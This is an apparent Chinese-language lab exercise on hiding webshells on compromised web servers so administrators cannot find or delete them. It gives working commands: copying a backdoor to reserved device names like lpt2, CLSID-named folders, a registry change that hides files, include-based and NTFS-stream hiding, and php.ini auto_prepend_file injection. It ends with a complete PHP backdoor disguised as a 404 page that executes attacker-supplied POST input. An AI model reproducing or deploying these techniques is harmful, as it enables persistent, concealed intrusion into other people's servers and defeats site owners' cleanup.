隐藏shell实验
【实验目的】
隐藏shell方法、分析
【实验原理】
在上传webshell的时候必须要进行webshell的隐藏工作。隐藏webshell,第一个目的是不让网站管理员发现马将其删掉,第二个目的是为了不被其他的Hacker发现了这个文件并加以利用。
1.隐藏shell的主要方法:
不死僵尸
clsid隐藏
注册表隐藏
驱动隐藏技术
头文件包含隐藏
配置文件隐藏一句话
404小马
【实验步骤】
步骤1:不死僵尸
1.1 我们知道Windows下是不能以aux|prn|con|nul|com1|com2|com3|com4|com5|com6|com7|com8|com9|lpt1|lpt2|lpt3|lpt4|lpt5|lpt6|lpt7|lpt8|lpt9这些系统保留文件名来命名文件或文件夹的,但是通过copy命令却可以实现,方法就是在cmd中输入(之前需要先自行创建一个wap.asp):
copy D:\wap.asp \\.\D:\lpt2.wap.asp
图1
记得必须要有\\.\,否则会出现系统找不到指定的文件提示,而这样的文件在IIS中却是可以成功解析的,webshell中的不死僵尸木马后门正是利用了这个原理来隐藏后门,这种不死马在图形界面下根本无法删除,只能通过cmd中输入。
del \\.\D:\lpt2.wap.asp
图2
步骤2:利用clsid隐藏
2.1 windows中每一个程序都有一个clsid,创建一个文件夹,取名x.{20D04FE0-3AEA-1069-A2D8-08002B30309D}这时候打开这个文件夹就是我的电脑了。
图3
为了更隐蔽些我们可以结合windows保留字使用以下命令:
md \.\d:\com1.{20D04FE0-3AEA-1069-A2D8-08002B30309D}
这样生成的文件夹无法删除,无法修改,无法查看
图4
步骤3:利用注册表隐藏
3.1 注册表路径:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL
图5
在这个路径下有一个CheckedValue的键值,把他修改为0,如果没有CheckValue这个key直接创建一个,将他赋值为0,重启计算机,然后创建的隐藏文件就彻底隐藏了,即时在文件夹选项下把"显示所有文件"也不能显示了。
图6
3.2 然后在文件夹选项选择显示隐藏的文件、文件夹和驱动器。
图7
发现隐藏文件和文件夹都不显示了。
之后可以利用上面的两步在隐藏的文件夹内隐藏webshell。
步骤4:驱动隐藏技术
4.1 原理是在于,在windows文件系统中,打开文件夹的时候系统会发送一个IRP_MJ_DIRECTORY_CONTROL函数,这个函数可以分配一个缓冲区,将该文件夹下的子文件夹遍历处理得到的信息存放至缓冲区,在遍历的时候,寻找匹配的文件名,如果文件名匹配,就绕过当前文件夹或者文件,对于绕过的原理,我查询了下代码,根据我的理解,它是根据将遍历的指针在查询到目标文件的时候,加上该文件的偏移量,不扫描目标文件夹,直接跳过。
对于这种技术的实施,虽然网上很多C的源码,但是操作起来有一定的困难,因为头文件的支持,还有系统的支持(不同系统的文件系统会不同),在网上查找到了Easy File Locker程序,需要将其安装至web服务器上,对目标文件设置权限。
步骤5:头文件包含隐藏
5.1 原理是在于,在web里面的一些脚本文件中,有些文件里面有包含语句,可以利用这种包含方法包含一句话文件,在访问这个页面会直接调用这些一句话。
5.2 asp包含语句:<!–#includefile="文件路径"–>,直接填入路径,文件路径是web服务器上的路径。
可以使用站长住手将一句话的NTFS流小马写入图片里面,将路径的\改:写入之后图片是显示不了的,然后找到web服务器上的一个asp文件,在文件的开始部分写上include语句,<!–#includefile="inc:1.jpg"–>。文件包含可以解析NTFS流为asp,包含之后,我们访问那个asp文件就包含了一句话,这样就隐藏了一句话。
5.3 php包含语句:<?php include($include);?>
5.4 也存在外部的文件包含例如:<http://www.hy1.com/1.php?Include=http://www.hy2.com/2.php>
步骤6:配置文件隐藏一句话
6.1 在拿到PHP的webshell之后,可以利用php.ini隐藏文件,编辑配置文件,其中一个项功能是将某一个文件的内容添加到任意界面的页眉页脚:
auto_prepend_file =hehe.php
然后看
include_path = "E:\PHPnow-1.5.6\htdocs;"
这个配置信息表示加载页眉页脚的文集位置,path规则是"\path1;\path2″,表示将path1路径的文件夹下的页眉页脚文件添加到path中的文件中去,因为这里是一个'.'表示根路径,这里就相当于添加到了主页上面去了,然后hehe.asp文件里面写上一句话,就可以通过php添加页眉的共能,将一句话写入网站首页。
步骤7:404小马
7.1 404小马在访问的时候显示出来一个404页面不存在的页面,但是实际上木马代码已经执行,有的是按5次shift可以将它调用出来,也有是404菜刀shell等多种型式
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>